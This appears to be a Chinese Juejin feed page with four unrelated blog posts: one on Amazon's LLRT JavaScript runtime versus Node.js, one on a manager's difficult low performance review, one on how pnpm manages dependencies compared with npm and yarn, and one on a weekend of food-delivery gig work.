那么问题来了,你觉得 LLRT 的出现会对 Node.js 造成威胁吗?


什么是 LLRT


LLRT(低延迟运行时)是亚马逊推出的一种轻量级 JavaScript 运行时。旨在满足对快速高效的无服务器应用程序不断增长的需求。


LLRT 优势:



  • 🔥 不使用 V8 引擎,而是采用 Rust 构建,确保高效内存使用。就像给应用程序装了涡轮增压器,速度瞬间飙升!💨

  • 🔥 使用 QuickJS 作为 JavaScript 引擎,快速启动不是梦!就像闪电一样快,让你的应用程序瞬间响应!⚡


如下所示 LLRT 和 Node.js 20 运行速度对比,可以看出


LLRT - DynamoDB Put, ARM, 128MB:
llrt-ddb-put


Node.js 20 - DynamoDB Put, ARM, 128MB:
node20-ddb-put


LLRT 兼容性



LLRT 仅支持一小部分 Node.js API。它不是 Node.js 的替代品,也永远不会是。下面是部分支持的 API 和模块的高级概述。有关更多详细信息,请参阅 API 文档:github.com/awslabs/llr…



Node.jsLLRT ⚠️
buffer✔︎✔︎️
streams✔︎✔︎*
child_process✔︎✔︎⏱
net:sockets✔︎✔︎⏱
net:server✔︎✔︎
tls✔︎✘⏱
fetch✔︎✔︎
http✔︎✘⏱**
https✔︎✘⏱**
fs/promises✔︎✔︎
fs✔︎✘⏱
path✔︎✔︎
timers✔︎✔︎
uuid✔︎✔︎
crypto✔︎✔︎
process✔︎✔︎
encoding✔︎✔︎
console✔︎✔︎
events✔︎✔︎
ESM✔︎✔︎
CJS✔︎✔︎
async/await✔︎✔︎
Other modules✔︎

LLRT 能否替代 Node.js


LLRT 的出现确实对 Node.js 构成了一定程度的挑战,但这并不意味着 Node.js 会立即被淘汰。


事实上,Node.js 在许多方面仍然具有优势,例如生态系统的庞大规模、广泛的社区支持和大量的现有项目。此外,Node.js 作为一个成熟的运行时环境,已经积累了大量的功能和模块,这些在 LLRT 中可能尚未实现。


然而,LLRT 的出现确实为 JavaScript 服务端运行时环境带来了新的选择。对于那些对性能有较高要求、需要快速启动低内存占用的项目,LLRT 可能是一个更好的选择。


总之,LLRT 的出现对 Node.js 构成了一定程度的挑战,但这并不意味着 Node.js 会立即被淘汰。开发者可以根据项目需求和场景来选择最适合的运行时环境。


参考连接:






作者:前端开发爱好者
来源:juejin.cn/post/7342153878065135667
收起阅读 »

2023年给一位团队成员绩效“打c”的经历

2023年作为疫情开放的第一个年份,国家整体的经济形势还处于低迷阶段。IT行业同样如此,各公司都保持着降本增效的节奏,企业招聘人才的需求明显放缓,有人力缺口的岗位都优先考虑内部人才的转岗。在这样的大环境下,IT行业的从业者们想要离职会更加谨慎,不会再如以前那样...
继续阅读 »

2023年作为疫情开放的第一个年份,国家整体的经济形势还处于低迷阶段。IT行业同样如此,各公司都保持着降本增效的节奏,企业招聘人才的需求明显放缓,有人力缺口的岗位都优先考虑内部人才的转岗。在这样的大环境下,IT行业的从业者们想要离职会更加谨慎,不会再如以前那样“老子干的不爽,就离职换个公司”。


即便如此,每个公司依然还会有一些人,总过得浑浑噩噩,需要别人踢一脚就走一步,不去主动承担和思考事情,只能做一些确定性很强和设计好的工作。2023年,我们团队就有这样的一名成员,最终不好的绩效,也只能落到他头上。


然而,最终和他进行绩效约谈的时候,他却完全不认可,表现出非常激烈的逆反情绪,认为他的职级不需要去承担过多的事情。而我作为他的直接管理者,这次约谈的过程显然不够成功,现在整体再复盘一下这个过程。


前提背景


员工背景: 进入公司已经超过三年,近一年由于部门变动转入我的团队。本身的职级较低,由于之前工作平平没有太多起色,所以一直也没有得到过晋升,而年龄却已经越来越大。


进入我的团队后,团队内年龄与其不相上下的成员,职级已比他高出较多。从而,也引起了他心态的失衡,总觉得公司亏欠他的,他的能力不应该得不到晋升。所以在工作时,只愿做自己职级内的事情,也不愿意承担更多。


过程管控


我作为他的直接管理者,发现问题后私下跟他聊过。跟他说过几次,他做事情太被动,工作时对外沟通经常带着个人情绪,需要更加积极正面的去承担事情。为了打消他的顾虑,也跟他说明了,只要你的工作能力有所提升,对团队有所帮助,我会尽量帮助你晋升。


然而,一个人心态的问题,是一个历史长期积累的过程。他并没有因为和我的几次沟通,就打破了自己的认知,对外依旧较封闭,对内能力又显得不足。而他自己却认识不到,总认为他在当前的职级上,已经足够了,除非公司让其晋升,不然他也不会付出更多。


为了打破这种僵硬的局面,作为管理者我安排了一项稍有困难的任务给他,这既是机会也是挑战。第一、让其认识到自身的不足;第二、如果他能够较好的完成任务,也就为后面的晋升提供了保障。


也就是这么一次任务,不但目的没有达到,最后还惹得双方都陷入了僵局。



这项任务还未开始3个月前,我就跟他说:要开始熟悉相关的业务和代码了,后面会有大的项目变更,需要提前做好准备。


前期我并没有明确说明,要交付什么产物。更多的是,给他自己空间,让他在一个相对宽松的时间内,把整体的业务和细节都了解清楚,能够在组内进行一次分享。


任务我已经给出去了,在项目开始前将近3个月的时间, 他并没有给到我任何反馈,也没有交付任何相关的文档。


随着时间的推移,项目开始启动了,基于这样的工作态度和结果,我本不打算让他再负责这个项目。但是上级管理者,也希望能够给予他一次机会,做好了能够为后面的晋升,提供较好的铺垫。


就是这样的安排,由于他前期没有较好的准备,后面在落地方案评审时漏洞百出,导致项目出现了延期的风险。所以最终不得不由我直接来接管项目,重新分配和协调各个研发人员,最终确保了项目的质量和进度。



约谈结果


对于这样的团队成员,既不能给团队带来正向的帮助,也不能让其自身得到成长。这是一个双输的局面,管理者要让团队保持正向的发展,就必须要勇于去解决这样的问题。


所以年度的绩效考核,就必须亮明你的态度,即使公司没有淘汰的指标,你也要去做那个坏人,把不合适的人从团队清除掉。只是,我没有想到这个过程如此艰难。


下面从他的视角,来反驳这个结果的几个观点:



  • 他的职级,只需要配合做好相应的开发任务就可以,不需要去主导事情。

  • 那个有挑战的项目,不管过程怎样,结果是好的,项目按时按质的上线了。

  • 给他不好的绩效,需要参照公司的标准,给出明确的原因。


然后,带着强烈的情绪说要去投诉,甚至要上升到CTO、CEO 那边。 投诉没有问题,我也表明了态度, 你可以向上申请表达自己的诉求, 但是我也会持有自己的观点和建议。


最终,当然也不会因为他的申诉就改变结果。只是,这个现状本应该在管理的过程中,就应该让其感知到,不要等到最后的环节,才让双方都陷入难堪的局面。


反思总结


作为一个管理者,要面对各式各样的研发人员。有的人优秀,上来就能够跟你站在一个视角看问题;有的人有潜力,需要你给出机会和试错空间,让其成长;有的人就该辞退,针对这些人,你尤其要做好备战。作为管理者,既要有开放和怀柔的心态去留住人才,也要有铁血的手腕去清退团队的毒瘤。


清退毒瘤,是一项艰难但必要的任务,如何去做呢?



  1. 评估情况: 评估对团队的影响,是否对团队的合作和效率产生负面影响,是否违反了团队的价值观和行为准则。要确保有足够的证据来支持你的决定。

  2. 沟通和反馈: 与他进行一对一沟通,明确表达你对他们行为的关注,并提供具体的例子。给予他们改进的机会,并讨论如何改变。

  3. 制定行动计划: 如果没有改善他们的行为,你需要制定一个行动计划。包括培训和指导。

  4. 寻求支持: 寻求其他团队成员和上级的支持。


作者:云游者
来源:juejin.cn/post/7341368001203699747
收起阅读 »

pnpm才是前端工程化项目的未来

web
前言 相信小伙伴们都接触过npm/yarn,这两种包管理工具想必是大家工作中用的最多的包管理工具,npm作为node官方的包管理工具,它是随着node的诞生一起出现在大家的视野中,而yarn的出现则是为了解决npm带来的诸多问题,虽然yarn提高了依赖包的安装...
继续阅读 »

前言


相信小伙伴们都接触过npm/yarn,这两种包管理工具想必是大家工作中用的最多的包管理工具,npm作为node官方的包管理工具,它是随着node的诞生一起出现在大家的视野中,而yarn的出现则是为了解决npm带来的诸多问题,虽然yarn提高了依赖包的安装速度与使用体验,但它依旧没有解决npm的依赖重复安装等致命问题。pnpm的出现完美解决了依赖包重复安装的问题,并且实现了yarn带来的所有优秀体验,所以说pnpm才是前端工程化项目的未来


如果这篇文章有帮助到你,❤️关注+点赞❤️鼓励一下作者,文章公众号首发,关注 前端南玖 第一时间获取最新文章~


npm 与 yarn 存在的问题


早期的npm


在npm@3之前,node_modules结构可以说是整洁可预测的,因为当时的依赖结构是这样的:


node_modules 
└─ 依赖A
├─ index.js
├─ package.json
└─ node_modules
└─ 依赖B
├─ index.js
└─ package.json
└─ 依赖C
├─ index.js
├─ package.json
└─ node_modules
└─ 依赖B
├─ index.js
└─ package.json

每个依赖下面都维护着自己的node_modules,这样看起来确实非常整洁,但同时也带来一些较为严重的问题:



  • 依赖包重复安装

  • 依赖层级过多

  • 模块实例无法共享


依赖包重复安装


从上面的依赖结构我们可以看出,依赖A与依赖C同时引用了依赖B,此时的依赖B会被下载两次。此刻我们想想要是某一个依赖被引用了n次,那么它就需要被下载n次。(此时心里是不是在想,怎么会有如此坑的设计)


01203040_0.jpeg


依赖层级过多


我们再来看另外一种依赖结构:


node_modules 
└─ 依赖A
├─ index.js
├─ package.json
└─ node_modules
└─ 依赖B
├─ index.js
├─ package.json
└─ node_modules
└─ 依赖C
├─ index.js
├─ package.json
└─ node_modules
└─ 依赖D
├─ index.js
└─ package.json

这种依赖层级少还能接受,要是依赖层级多了,这样一层一层嵌套下去,就像一个依赖地狱,不利于维护。


npm@3与yarn


为了解决上述问题,npm3yarn都选择了扁平化结构,也就是说现在我们看到的node_modules里面的结构不再有依赖嵌套了,都是如下依赖结构:


node_modules 
└─ 依赖A
├─ index.js
├─ package.json
└─ node_modules
└─ 依赖C
├─ index.js
├─ package.json
└─ node_modules
└─ 依赖B
├─ index.js
├─ package.json
└─ node_modules

node_modules下所有的依赖都会平铺到同一层级。由于require寻找包的机制,如果A和C都依赖了B,那么A和C在自己的node_modules中未找到依赖C的时候会向上寻找,并最终在与他们同级的node_modules中找到依赖包C。 这样就不会出现重复下载的情况。而且依赖层级嵌套也不会太深。因为没有重复的下载,所有的A和C都会寻找并依赖于同一个B包。自然也就解决了实例无法共享数据的问题


由于这个扁平化结构的特点,想必大家都遇到了这样的体验,自己明明就只安装了一个依赖包,打开node_modules文件夹一看,里面却有一大堆。


nz2.jpeg


这种扁平化结构虽然是解决了之前的嵌套问题,但同时也带来了另外一些问题:



  • 依赖结构的不确定性

  • 扁平化算法的复杂度增加

  • 项目中仍然可以非法访问没有声明过的依赖包(幽灵依赖)


依赖结构的不确定性


这个怎么理解,为什么会产生这种问题呢?我们来仔细想想,加入有如下一种依赖结构:


依赖1.png


A包与B包同时依赖了C包的不同版本,由于同一目录下不能出现两个同名文件,所以这种情况下同一层级只能存在一个版本的包,另外一个版本还是要被嵌套依赖。


那么问题又来了,既然是要一个扁平化一个嵌套,那么这时候是如何确定哪一个扁平化哪一个嵌套的呢?


依赖2.png


这两种结构都有可能,准确点说哪个版本的包被提升,取决于包的安装顺序!


这就是为什么会产生依赖结构的不确定问题,也是 lock 文件诞生的原因,无论是package-lock.json(npm 5.x 才出现)还是yarn.lock,都是为了保证 install 之后都产生确定的node_modules结构。


尽管如此,npm/yarn 本身还是存在扁平化算法复杂package 非法访问的问题,影响性能和安全。


pnpm


前面说了那么多的npmyarn的缺点,现在再来看看pnpm是如何解决这些尴尬问题的。


什么是pnpm



快速的,节省磁盘空间的包管理工具



就这么简单,说白了它跟npmyarn没有区别,都是包管理工具。但它的独特之处在于:



  • 包安装速度极快

  • 磁盘空间利用非常高效


特性


安装包速度快


p1.png


从上图可以看出,pnpm的包安装速度明显快于其它包管理工具。那么它为什么会比其它包管理工具快呢?


我们来可以来看一下各自的安装流程



  • npm/yarn


npm&yarn.png



  1. resolving:首先他们会解析依赖树,决定要fetch哪些安装包。

  2. fetching:安装去fetch依赖的tar包。这个阶段可以同时下载多个,来增加速度。

  3. wrting:然后解压包,根据文件构建出真正的依赖树,这个阶段需要大量文件IO操作。



  • pnpm


pnpm.png


上图是pnpm的安装流程,可以看到针对每个包的三个流程都是平行的,所以速度会快很多。当然pnpm会多一个阶段,就是通过链接组织起真正的依赖树目录结构。


磁盘空间利用非常高效


pnpm 内部使用基于内容寻址的文件系统来存储磁盘上所有的文件,这个文件系统出色的地方在于:



  • 不会重复安装同一个包。用 npm/yarn 的时候,如果 100 个项目都依赖 lodash,那么 lodash 很可能就被安装了 100 次,磁盘中就有 100 个地方写入了这部分代码。但在使用 pnpm 只会安装一次,磁盘中只有一个地方写入,后面再次使用都会直接使用 hardlink

  • 即使一个包的不同版本,pnpm 也会极大程度地复用之前版本的代码。举个例子,比如 lodash 有 100 个文件,更新版本之后多了一个文件,那么磁盘当中并不会重新写入 101 个文件,而是保留原来的 100 个文件的 hardlink,仅仅写入那一个新增的文件


支持monorepo


pnpm 与 npm/yarn 另外一个很大的不同就是支持了 monorepo,pnpm内置了对monorepo的支持,只需在工作空间的根目录创建pnpm-workspace.yaml和.npmrc配置文件,同时还支持多种配置,相比较lerna和yarn workspace,pnpm解决monorepo的同时,也解决了传统方案引入的问题。



monorepo 的宗旨就是用一个 git 仓库来管理多个子项目,所有的子项目都存放在根目录的packages目录下,那么一个子项目就代表一个package



依赖管理


pnpm使用的是npm version 2.x类似的嵌套结构,同时使用.pnpm 以平铺的形式储存着所有的包。然后使用Store + Links和文件资源进行关联。简单说pnpm把会包下载到一个公共目录,如果某个依赖在 sotre 目录中存在了话,那么就会直接从 store 目录里面去 hard-link,避免了二次安装带来的时间消耗,如果依赖在 store 目录里面不存在的话,就会去下载一次。通过Store + hard link的方式,使得项目中不存在NPM依赖地狱问题,从而完美解决了npm3+和yarn中的包重复问题。


store.jpeg


我们分别用npmpnpm来安装vite对比看一下


npmpnpm
npm-demo.pngpnpm-demo.png
所有依赖包平铺在node_modules目录,包括直接依赖包以及其他次级依赖包node_modules目录下只有.pnpm和直接依赖包,没有其他次级依赖包
没有符号链接(软链接)直接依赖包的后面有符号链接(软链接)的标识

pnpm安装的vite 所有的依赖都软链至了 node_modules/.pnpm/ 中的对应目录。 把 vite 的依赖放置在同一级别避免了循环的软链。


软链接 和 硬链接 机制


pnpm 是通过 hardlink 在全局里面搞个 store 目录来存储 node_modules 依赖里面的 hard link 地址,然后在引用依赖的时候则是通过 symlink 去找到对应虚拟磁盘目录下(.pnpm 目录)的依赖地址。


这两者结合在一起工作之后,假如有一个项目依赖了 A@1.0.0B@1.0.0 ,那么最后的 node_modules 结构呈现出来的依赖结构可能会是这样的:


node_modules
└── A // symlink to .pnpm/A@1.0.0/node_modules/A
└── B // symlink to .pnpm/B@1.0.0/node_modules/B
└── .pnpm
├── A@1.0.0
│ └── node_modules
│ └── A -> /A
│ ├── index.js
│ └── package.json
└── B@1.0.0
└── node_modules
└── B -> /B
├── index.js
└── package.json

node_modules 中的 A 和 B 两个目录会软连接到 .pnpm 这个目录下的真实依赖中,而这些真实依赖则是通过 hard link 存储到全局的 store 目录中。


store


pnpm下载的依赖全部都存储到store中去了,storepnpm在硬盘上的公共存储空间。


pnpmstore在Mac/linux中默认会设置到{home dir}>/.pnpm-store/v3;windows下会设置到当前盘符的根目录下。使用名为 .pnpm-store的文件夹名称。


项目中所有.pnpm/依赖名@版本号/node_modules/下的软连接都会连接到pnpmstore中去。



作者:前端南玖
来源:juejin.cn/post/7239875883254300729
收起阅读 »

运维打工人,周末兼职送外卖的一天

运维打工人,周末兼职送外卖的一天 在那个不经意的周末,我决定尝试一份新的工作——为美团外卖做兼职配送员。这份工作对于一向规律生活的我来说,既是突破也是挑战。 早晨,城市的喧嚣还未完全苏醒,空气中带着几分凉意和宁静。准备好出发时,线上生产环境出现问题,协助处理。...
继续阅读 »

运维打工人,周末兼职送外卖的一天


在那个不经意的周末,我决定尝试一份新的工作——为美团外卖做兼职配送员。这份工作对于一向规律生活的我来说,既是突破也是挑战。


早晨,城市的喧嚣还未完全苏醒,空气中带着几分凉意和宁静。准备好出发时,线上生产环境出现问题,协助处理。


收拾好后,戴上头盔,骑上踏板车,开始了自己的第一次外卖配送之旅。


刚开始,我的心情既紧张又兴奋。手机里的订单提示声是今日的任务号角。第一份订单来自一公里外的一家外卖便利店。我快速地在地图上规划路线,开启高德导航,发动踏板车,朝着目的地出发。


123.jpg


由于便利店在园区里面,转了两圈没找到,这是就慌张了,这找不到店咋办了,没办法赶紧问下旁边的老手骑手,也就顺利找到了,便利店,进门问老板,美团104号好了嘛?老板手一指,在架子上自己看。核对没问题,点击已达到店,然后在点击已取货。


然后在导航去收获目的地,找到C栋,找到107门牌号,紧接敲门,说您好,美团外卖到了,并顺利的送达,然后点击已送达,第一单顺利完成,4.8元顺利到手。


其中的小插曲,送给一个顾客时,手机导航提示目的地,结果一看,周围都拆了。没办法给顾客打电话,加微信确认位置具体在哪里,送达时,还差三分钟,这单就要超时了。


1.jpg


配送过程中,我遇到了第一个难题:找不到店家在哪里,我的内心不禁生出些许焦虑。但很快,我调整心态,不懂不知道的地方,需要多多问人。


紧接着,第二份、第三份订单接踵而至。每一次出发和到达,每一条街道和巷弄,我开始逐渐熟悉。


7.jpg


6.jpg


日落时分,我结束了一天的工作。虽然身体有些疲惫,但内心充满了前所未有的充实感。这份工作让我体验到了不一样的人生角色,感受到了城市节奏背后的种种辛劳与甘甜


周末的兼职跑美团外卖,对我来说不仅是一份简单的工作,更是一段特别的人生经历。它教会了我坚持与责任,让我在忙碌中找到了属于自己的节奏,在逆风中学会了更加珍惜每一次到达。


最后实际周六跑了4个小时,周天跑了7个小时,一共跑了71公里,合计收获了137.80,已提现到账。


5.jpg


2.png


作者:平凡的运维之路
来源:juejin.cn/post/7341669201010425893
收起阅读 »